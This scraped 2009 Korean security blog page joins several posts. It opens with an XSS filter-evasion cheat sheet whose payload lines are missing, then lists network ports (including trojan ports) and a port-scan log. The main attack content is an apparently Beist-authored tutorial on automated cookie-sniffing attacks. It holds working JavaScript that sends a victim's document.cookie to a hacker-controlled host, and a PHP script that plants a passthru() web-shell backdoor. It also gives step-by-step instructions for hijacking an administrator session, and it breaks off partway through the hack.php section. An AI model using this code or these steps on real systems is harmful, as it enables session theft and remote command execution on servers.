    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE tag (Older versions of Netscape only):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    STYLE tag using background-image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE tag using background:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BASE tag. Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    OBJECT tag (if they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Using an OBJECT tag you can embed XSS directly (this is unverified so no browser support is added):



    Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    inside flash can obfuscate your XSS vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XML namespace. The htc file must be located on the same server as your XSS vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XML data island with comment obfuscation (this is another take on the same exploit that doesn't use CDATA fields, but rather uses comments to break up the javascript directive):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    HTML+TIME in XML. This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG Embedded commands - this works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Cookie manipulation - admittidly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]




XSS using HTML quote encapsulation:

    This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]




URL string evasion (assuming "http://www.google.com/" is programmatically disallowed):

    IP verses hostname:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    URL encoding:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Dword encoding (Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Hex encoding (the total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Octal encoding (again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Mixed encoding (let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Google "feeling lucky" part 1. Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance.
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Google "feeling lucky" part 2. This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Google "feeling lucky" part 3. This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Removing cnames (when combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Extra dot for absolute DNS:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    JavaScript link location:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Content replace as attack vector (assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several seperate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java&#x26;#x09;script:" was converted into "java&#x09;script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


Character Encoding:

    All the possible combinations of the character "<" in HTML and JavaScript (in UTF-8). Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above (standards are great, aren't they?):



Browser support reference table:

IE7.0              Vector works in Internet Explorer 7.0. Most recently tested with Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2.
IE6.0 Vector works in Internet Explorer. Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000.
NS8.1-IE Vector works in Netscape 8.1+ in IE rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional. This used to be called trusted mode, but Netscape has changed it's security model away from the trusted/untrusted model and has opted towards Gecko as a default and IE as an option.
NS8.1-G Vector works in Netscape 8.1+ in the Gecko rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional
FF1.5 Vector works in Mozilla's Gecko rendering engine, used by Firefox. Most recently tested with Firefox 1.5.0.4 on Windows XP Professional.
O8.54 Vector works in Opera. Most recently tested with Opera 8.54, Build 7722 on Windows XP Professional
NS4 Vector works in older versions of Netscape 4.0 - untested.


Note: if a vector is not marked it either does not work or it is untested

2009/08/26 17:40 2009/08/26 17:40

Port Knowledgebase

List of frequently seen TCP and UDP ports and what they mean. The goal of this port table is to point to further resources for more information.


0
1 tcpmux
3
4
5 rje
7 echo
9 discard
11 systat
13 daytime
15 netstat
17 qotd
18 send/rwp
19 chargen
20 ftp-data
21 ftp
22 ssh, pcAnywhere
23 Telnet
25 SMTP
27 ETRN
29 msg-icp
31 msg-auth
33 dsp
37 time
38 RAP
39 rlp
40
41
42 nameserv, WINS
43 whois, nickname
49 TACACS, Login Host Protocol
50 RMCP, re-mail-ck
53 DNS
57 MTP
59 NFILE
63 whois++
66 sql*net
67 bootps
68 bootpd/dhcp
69 Trivial File Transfer Protocol (tftp)
70 Gopher
79 finger
80 www-http
87
88 Kerberos, WWW
95 supdup
96 DIXIE
98 linuxconf
101 HOSTNAME
102 ISO, X.400, ITOT
105 cso
106 poppassd
109 POP2
110 POP3
111 Sun RPC Portmapper
113 identd/auth
115 sftp
116
117 uucp
118
119 NNTP
120 CFDP
123 NTP
124 SecureID
129 PWDGEN
133 statsrv
135 loc-srv/epmap
137 netbios-ns
138 netbios-dgm (UDP)
139 NetBIOS
143 IMAP
144 NewS
150
152 BFTP
153 SGMP
156
161 SNMP
175 vmnet
177 XDMCP
178 NextStep Window Server
179 BGP
180 SLmail admin
199 smux
210 Z39.50
213
218 MPP
220 IMAP3
256
257
258
259 ESRO
264 FW1_topo
311 Apple WebAdmin
350 MATIP type A
351 MATIP type B
360
363 RSVP tunnel
366 ODMR (On-Demand Mail Relay)
371
387 AURP (AppleTalk Update-Based Routing Protocol)
389 LDAP
407 Timbuktu
427
434 Mobile IP
443 ssl
444 snpp, Simple Network Paging Protocol
445 SMB
458 QuickTime TV/Conferencing
468 Photuris
475
500 ISAKMP, pluto
511
512 biff, rexec
513 who, rlogin
514 syslog, rsh
515 lp, lpr, line printer
517 talk
520 RIP (Routing Information Protocol)
521 RIPng
522 ULS
531 IRC
543 KLogin, AppleShare over IP
545 QuickTime
548 AFP
554 Real Time Streaming Protocol
555 phAse Zero
563 NNTP over SSL
575 VEMMI
581 Bundle Discovery Protocol
593 MS-RPC
608 SIFT/UFT
626 Apple ASIA
631 IPP (Internet Printing Protocol)
635 mountd
636 sldap
642 EMSD
648 RRP (NSI Registry Registrar Protocol)
655 tinc
660 Apple MacOS Server Admin
666 Doom
674 ACAP
687 AppleShare IP Registry
700 buddyphone
705 AgentX for SNMP
901 swat, realsecure
993 s-imap
995 s-pop
999
1024
1025
1050
1062 Veracity
1080 SOCKS
1085 WebObjects
1100
1105
1114
1227 DNS2Go
1234
1243 SubSeven
1338 Millennium Worm
1352 Lotus Notes
1381 Apple Network License Manager
1417 Timbuktu
1418 Timbuktu
1419 Timbuktu
1420
1433 Microsoft SQL Server
1434 Microsoft SQL Monitor
1477
1478
1490
1494 Citrix ICA Protocol
1498
1500
1503 T.120
1521 Oracle SQL
1522
1524
1525 prospero
1526 prospero
1527 tlisrv
1529
1547
1604 Citrix ICA, MS Terminal Server
1645 RADIUS Authentication
1646 RADIUS Accounting
1680 Carbon Copy
1701 L2TP/LSF
1717 Convoy
1720 H.323/Q.931
1723 PPTP control port
1731
1755 Windows Media .asf
1758 TFTP multicast
1761
1762
1808
1812 RADIUS server
1813 RADIUS accounting
1818 ETFTP
1968
1973 DLSw DCAP/DRAP
1975
1978
1979
1985 HSRP
1999 Cisco AUTH
2000
2001 glimpse
2005
2010
2023
2048
2049 NFS
2064 distributed.net
2065 DLSw
2066 DLSw
2080
2106 MZAP
2140 DeepThroat
2301 Compaq Insight Management Web Agents
2327 Netscape Conference
2336 Apple UG Control
2345
2427 MGCP gateway
2504 WLBS
2535 MADCAP
2543 sip
2565
2592 netrek
2727 MGCP call agent
2766
2628 DICT
2998 ISS Real Secure Console Service Port
3000 Firstclass
3001
3031 Apple AgentVU
3052
3128 squid
3130 ICP
3150 DeepThroat
3264 ccmail
3283 Apple NetAssitant
3288 COPS
3305 ODETTE
3306 mySQL
3352
3389 RDP Protocol (Terminal Server)
3520
3521 netrek
3879
4000 icq, command-n-conquer
4045
4144
4242
4321 rwhois
4333 mSQL
4444
47017
4827 HTCP
5000
5001
5002
5004 RTP
5005 RTP
5010 Yahoo! Messenger
5050
5060 SIP
5135
5150
5190 AIM
5222
5353
5400
5500 securid
5501 securidprop
5300
5423 Apple VirtualUser
5555
5556
5631 PCAnywhere data
5632 PCAnywhere
5678
5800 VNC
5801 VNC
5900 VNC
5901 VNC
5843
6000 X Windows
6112 BattleNet
6050
6499
6500
6502 Netscape Conference
6547
6548
6549
6666
6667 IRC
6670 VocalTec Internet Phone, DeepThroat
6699 napster
6776 Sub7
6968
6969
6970 RTP
6971
7000
7007 MSBD, Windows Media encoder
7070 RealServer/QuickTime
7161
7323
7777
7778 Unreal
7640
7648 CU-SeeMe
7649 CU-SeeMe
7654
8000
8002
8010 WinGate 2.1
8080 HTTP
8100
8181 HTTP
8383 IMail WWW
8765
8875 napster
8888 napster
8890
9000
9090
9200
9704
9669
9876
9989
10008 cheese worm
10752
12345
11371 PGP 5 Keyserver
12346
13000
13223 PowWow
13224 PowWow
14000
14237 Palm
14238 Palm
14690
16969
18888 LiquidAudio
21157 Activision
22555
22703
22793
23213 PowWow
23214 PowWow
23456 EvilFTP
26000 Quake
27000
27001 QuakeWorld
27010 Half-Life
27015 Half-Life
27374
27444
27665
27910
27960 QuakeIII
28000
28001
28002
28003
28004
28005
28006
28007
28008
30029 AOL Admin
30100
30101
30102
30103
30303
30464
31335
31337 Back Orifice
32000
32771
32777 rpc.walld
34555
40193 Novell
41524 arcserve discovery
45000 Cisco NetRanger postofficed
50505
52901
54321
61000
65301
Multicast hidden
ICMP Type hidden
9998
32773 rpc.ttdbserverd
32776 rpc.spray
32779 rpc.cmsd
38036 timestep

 
2009/08/26 17:40 2009/08/26 17:40

스캐너 입니다.

사용자 삽입 이미지

2009/08/26 17:39 2009/08/26 17:39

사용중인 포트검색


Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator>C:\PortQryV2\PortQry.exe -n www.jakartaproject.com

Querying target system called:

 www.jakartaproject.com

Attempting to resolve name to IP address...


Name resolved to 211.233.89.217

querying...

TCP port 80 (http service): LISTENING

C:\Documents and Settings\Administrator>


매뉴얼

http://support.microsoft.com/?id=832919

2009/08/26 17:38 2009/08/26 17:38
사용자 삽입 이미지
2009/08/26 17:37 2009/08/26 17:37

구글을 이용한 해킹 및 방어를 하는 기초 자료입니다

최소한 웹프로그래머라면 이정도는 꼭 숙지하고 넘어갑시다

2009/08/26 17:36 2009/08/26 17:36
핵스
2009/08/26 17:35 2009/08/26 17:35

Automatic attack program that can be used in Cookie Sniffing
(Cookie Sniffing 에 사용될 수 있는 자동 공격 프로그램)

by Beist Security Research Group
(http://beist.org)

Members of Beist Research Group : beist and anonymous people
Members of Beist Study Group : beist, dars21, obhacker, passion, p-jackpot, jacaranda, cina



요약 : Cookie Sniffing은 WWW 환경에서 해커가 사용자나 관리자의 Cookie 혹은 Session과 같이 중요한 정보를 가로채는 기법을 말하고 Cookie Spoofing은 이 정보를 이용하여 해커가 자신의 신분을 속이는 행위를 하는 것을 말한다. 이 정보는 유효 시간이 있을수 있기 때문에 해커는 정보를 획득한 후 빠른 시간 안에 Spoofing 공격을 수행해야 하는데 이 문서는 이러한 공격을 자동으로 처리함으로써 유효 시간에 제약이 없는 공격 기법에 대해서 소개하였다. 해커가 미리 만들어둔 공격 프로그램은 Cookie를 받는 동시에, 자동화 공격 알고리즘을 통해서 공격을 시도한다. 공격에 필요한 정보와, 공격에 수행할 행동을 바탕으로, 자동으로 타겟 서버에 접속하여 자동화 된 공격을 구현하였다. 이러한 공격 작업으로 인해 Cookie나 Session의 유효 시간 안에 공격을 수행할수 있을 뿐만 아니라 관리자의 발 빠른 보안 대처를 힘들게 할 수 있다.






1. 개요

이 문서는 Cookie Sniffing 을 통하여 Target (여기서는 Admin ID 나 특정 사용자를 말합니다.) 의 Cookie 를 획득하였을 때, 그 이후의 공격 과정을 자동으로 처리하는 방법에 대해서 소개합니다. 만약 Cookie, Cookie Sniffing 공격 기법에 대한 이해가 부족하시다면 beist의 개인 강좌들을 먼저 참고하시고 이 글을 읽어보시기 바랍니다. 이 글은 Target 의 Cookie 를 획득한 후의 공격 과정을 자동으로 수행하는 방법에 대해서 다루고 있으므로 Cookie, Cookie Sniffing 기술에 대한 이해가 충분하지 않으시면 이 문서를 이해하시는 데 조금 어려움이 있을 수도 있습니다.

Target 의 Cookie 를 가져오는데 성공했다면, 해당 Cookie 를 이용하여 다시 공격을 수행해야 합니다. 만약 훔쳐온 쿠키가 시간 제한 없이 여전히 사용될 수 있는 내용의 쿠키라면 굳이 이 자동화 공격이 필요하지 않을 것입니다. 그러나 Session 일 경우에 (어떤 상황에서는, Cookie 일 경우에도) 일정 시간이 지날 경우 Session 값이 사라져 버리거나 변조될 수 있기 때문에 Target 의 Session, Cookie 데이터를 획득하고 나서 빠른 시간 안에 공격을 해야 합니다.

그렇지만 Cookie Sniffing 공격 기술의 특성상, 해커가 작성한 악성 코드를 Target 이 읽어야지만 해커에게 Cookie 에게 날라오는데, Target 이 언제 악성 코드를 읽을지 아무도 알 수 없습니다. Target 이 악성 코드를 읽어서 Cookie가 넘어올 때까지 24 시간 컴퓨터 앞에서 지켜보고 있다면 문제가 없겠지만 현실적으로 힘든 이야기입니다. 이런 상황에 대비하여 공격을 자동화하는 프로그램을 만들어둔다면 Cookie를 얻어올 때까지 기다려야 하는 수고를 하지 않아도 됩니다. 공격을 수행하는 프로그램은 다양한 언어로 제작할 수 있겠지만, 여기서는 PHP 를 이용하여 만들어 보겠습니다.








2. 이용될 수 있는 곳

이 문서에서 다루는 주제는 Cookie 를 얻은 후의 공격 과정을 자동으로 수행하는 프로그램에 대해서 설명합니다. 이 기술을 이용한다면 Cookie 를 얻어올 때까지 기다려야하는 수고를 하지 않아도 됩니다. Cookie Sniffing 은, 제로보드 같은 게시판이나 Web 기반의 메일 서비스, 쇼핑몰, 기타 Cookie 나 Session 을 사용하는 Web 서비스들을 공격하는데 응용될 수 있습니다. 이 문서에서는 임의로 만든 PHP CGI 를 대상으로 기술할 것입니다.

이 문서는 Session Sniffing 후에 공격하는 것에 대해서 알아볼 것입니다. Session Sniffing 에 대해서 알아볼 것이지만, Cookie Sniffing 공격에도 똑같이 적용될 수 있습니다.

(Cookie 와 Session 은 엄밀히 따지면 다른 것이지만, 여기에서 사용하는 기법은 두가지 다 이용할 수 있는 기법이므로 이 문서에서는 두 단어를 구별하지 않고 사용하겠습니다. 그리고 또, Cookie Sniffing 의 자동화 공격화 공격이 요점이기 때문에, 기타 CGI 에 대한 자세한 설명이나 기타 취약 가능성에 대해서는 고려하지 않고 작성하였습니다.)








3. 기술적인 내용

먼저 쿠키를 가져오는 방법에 대해서 간략하게 알아보겠습니다. 여기서 사용하는 쿠키 스니핑은 Cookie Sniffing by Using txt extension 문서에서 설명하였던 방법을 이용하겠습니다. (굳이 이 방법을 이용하지 않아도 쿠키 스니핑을 하는 방법은 여러 가지가 있겠습니다.) 이 문서에서 Admin과 Target은 같은 뜻을 갖고 있습니다. 구분하지 마시고 읽어주시기 바랍니다.

이 문서에서 설명하는 해킹 순서를 알아보겠습니다.

(1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt)
(2) Target 서버의 CGI 자료실에 test.txt 업로드
(3) 쉘을 생성하는 PHP 스크립트 작성하여 CGI 자료실에 업로드 (beist.txt)
(4) Cookie 를 저장하고, CGI 를 공격하는 hack.php 코드를 작성, 해커의 서버에 업로드
(5) Target ID 에게 test.txt URL 을 메모로 보내고 Target 이 test.txt 파일을 읽기를 기다림
(6) Target 이 test.txt 를 읽게되면 hack.php 로 Cookie 가 넘어가고 hack.php 에서는 이를 이용하여 Target CGI 를 자동 공격
(7) beist.php 를 이용하여 nobody shell 획득

조금 복잡한 과정이므로 위 7 가지의 순서를 각각 나누어 설명 하겠습니다.

target 의 정보는 다음과 같습니다.

Target Server URL - http://beist.org/
Target CGI URL - http://beist.org/~beist/auto/index.html

해커의 정보는 다음과 같습니다. 아래의 컴퓨터 주소는 해커가 Target 을 공격할 때 이용합니다.

Hacker URL - http://beist.hackerscomputer/



(1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt)

Cookie Sniffing 에 이용되는 Javascript 문법은 단순합니다. 대표적인 방법으로 window.open 메소드를 호출할 때, 현재 웹 브라우저에 저장되어있는 cookie 를 같이 넘겨주면 되는데, document.cookie 가 바로 그 값입니다.


test.txt

<html>
<head>
<title>beist's Cookie Sniffing</title>

<script language=javascript>
window.open("http://beist.hackerscomputer/hack.php?cook="+document.cookie+"&url="+location.href);
</script>

</head>
<body>

Automatic attack program that can use in Cookie Sniffing

</body>
</html>



이러한 Javascript 파일을 만듭니다. test.txt 의 기능은, window.open 메소드를 호출하고, open할 페이지로 hackerscomputer 의 hack.php 를 지정합니다. 이때 cook 이라는 인자를 넘기고, 그 값은 현재 브라우저의 쿠키가 담긴 document.cookie 를 보냅니다. 뒤의 url 인자에 담긴, location.href 라는 객체는 현재 웹 브라우저의 주소 값을 담고 있습니다. hack.php 에서 자동화 공격을 시도할 때, 보다 동적인 공격을 하기 위해 정보를 얻어냅니다.



(2) Target 서버의 CGI 자료실에 test.txt 업로드

위 파일을 Target 서버의 CGI 자료실에 업로드합니다.

(Cookie Sniffing by Using txt extension 문서에서는 txt 확장자를 이용한 Cookie Sniffing 을 설명하였지만, 반드시 확장자가 txt 여야하는 것은 아닙니다. 상황에 따라서는 jpg 확장자를 갖고 있어도 가능합니다. 즉, 회원 정보에 사진을 올릴 수 있는 기능을 이용한다거나 하는 다른 방법으로도 얼마든지 파일을 Target 서버에 올릴 수 있습니다.)

자료실 기능만 존재한다면 CGI 의 확장자 검사 기능은 걱정하지 않아도 됩니다. txt 확장자를 막아놓는 설정은 거의 찾아볼 수 없으며 있다고 하더라도 jpg 나 기타 다른 확장자를 이용하면 가능하기 때문입니다.


[화면1] http://beist.org/~beist/auto/index.html (메인메뉴)


pds 메뉴로 들어가 test.txt 파일을 업로드 하겠습니다.

[화면2] http://beist.org/~beist/auto/pds.html (파일 업로드 Form)


해커가 올린 test.txt 파일이 정상적으로 업로드 되었습니다.

[화면3] http://beist.org/~beist/auto/pds_ok.html (파일 업로드 ok 메세지)


pds_ok.html 의 소스를 보겠습니다.


pds_ok.html

<?

echo "
<html>
<head>
<title>pds_ok</title>
</head>
<body>
<center><br><br>
<font size=2>";

if(eregi("php", $file_name))
{
echo "no php : $file_name";
exit;
}

if(eregi("htm", $file_name))
{
echo "no htm* : $file_name";
exit;
}

if(!copy($file, "data/$file_name"))
{
echo "file save failed";
exit;
}

echo "http://beist.org/~beist/auto/data/$file_name save ok";

?>


test.txt 를 정상적으로 업로드 하였고, test.txt 파일이 놓인 위치는 다음과 같습니다.

test.txt URL - http://beist.org/~beist/auto/data/test.txt



(3) 쉘을 생성하는 PHP 스크립트 작성하여 CGI 자료실에 업로드 (beist.txt)

이번에는 쉘을 생성하는 PHP 스크립트를 작성해보겠습니다. 이 PHP 스크립트는, hack.php 에서 CGI 를 공격할 때 간접적으로 이용됩니다. 스크립트를 작성한 다음 스크립트의 기능에 대해서 간단하게 알아보고 이 것을 이용하는 방법은 뒤에서 다루겠습니다. 자료실에 업로드하기 위해 확장자를 txt로 하였습니다.


beist.txt


<?

/* 이 스크립트에서 생성하는 beist.php 은 passthru 를 실행하는 backdoor
파일입니다. 만약 beist.php 가 존재하지 않는다면 { } 안의 루틴을 실행합니다. */

if(!file_exists("./data/beist.php"))
{

/* 아래의 루틴은, beist.php 를 쓰기 모드로 열고, 파일 안에 <? passthru($beist); ?> 의
내용을 넣습니다. */

$fp=fopen("./data/beist.php", "w");

fputs($fp, "<? passthru(\$beist); ?>");

fclose($fp);

}

echo "
<html>
<head>
<title>beist test target program</title>
</head>
";

?>


만약 위 beist.txt 가 PHP 로 정상적으로 실행된다면, beist.php 가 생성될 것이고, 해커는 beist.php 파일을 이용하여 target 시스템의 nobody 쉘을 얻을 수 있습니다.

잠시 후에 beist.txt가 이용되는 곳에 대해 자세히 설명하겠지만, 미리 간단하게 알아보고 넘어가겠습니다. 어떤 CGI 는 Admin 기능 중, head 와 foot 에 (머리말과 꼬리말) 특정 파일을 include 시킬 수 있는 기능이 존재합니다. 머리말과 꼬리말을 이용하면 Admin 이 특정 메세지나 작업 등을 웹 페이지에 삽입하려할 때 편리합니다.

이 문서에서 target 으로 지정한 CGI 는 이러한 기능을 지원합니다. beist.txt 는 머리말과 꼬리말에 파일을 지정할 수 있는 기능에 이용할 것입니다. 머리말 혹은 꼬리말 둘 중 하나에 beist.txt 파일을 지정해놓으면, CGI 가 작동될 때마다 beist.txt 의 내용이 PHP 로 실행될 것입니다. (물론, 만약 include 가 아닌 단순히 print 를 해준다면 beist.txt 는 PHP 로 실행되지 않습니다.)

beist.txt 파일도, (2) 의 과정처럼 Target 서버의 PDS 에 업로드 합니다. 만약 beist.txt 파일이 정상적으로 업로드 되었다면 URL 은 다음과 같습니다.

beist.txt URL - http://beist.org/~beist/auto/data/beist.txt




(4) Cookie 를 저장하고, CGI 를 공격하는 hack.php 코드를 작성, 해커의 서버에 업로드

이 문서에서 기술하는 것 중 가장 중요한 부분입니다. hack.php 은, Target 의 쿠키를 훔쳐오자마자 바로 Target Server를 공격하는 작업을 수행합니다. hack.php 의 수행 구조에 대해서 간략히 알아보겠습니다.

hack.php 의 진행 순서

-1- Target Server 정보 저장
-2- Cookie Sniffing 으로 가져온 Target 의 Cookie(Session) 를 저장
-3- Target Web Server 에 연결
-4- Admin Menu 기능을 수행하는 CGI 요청
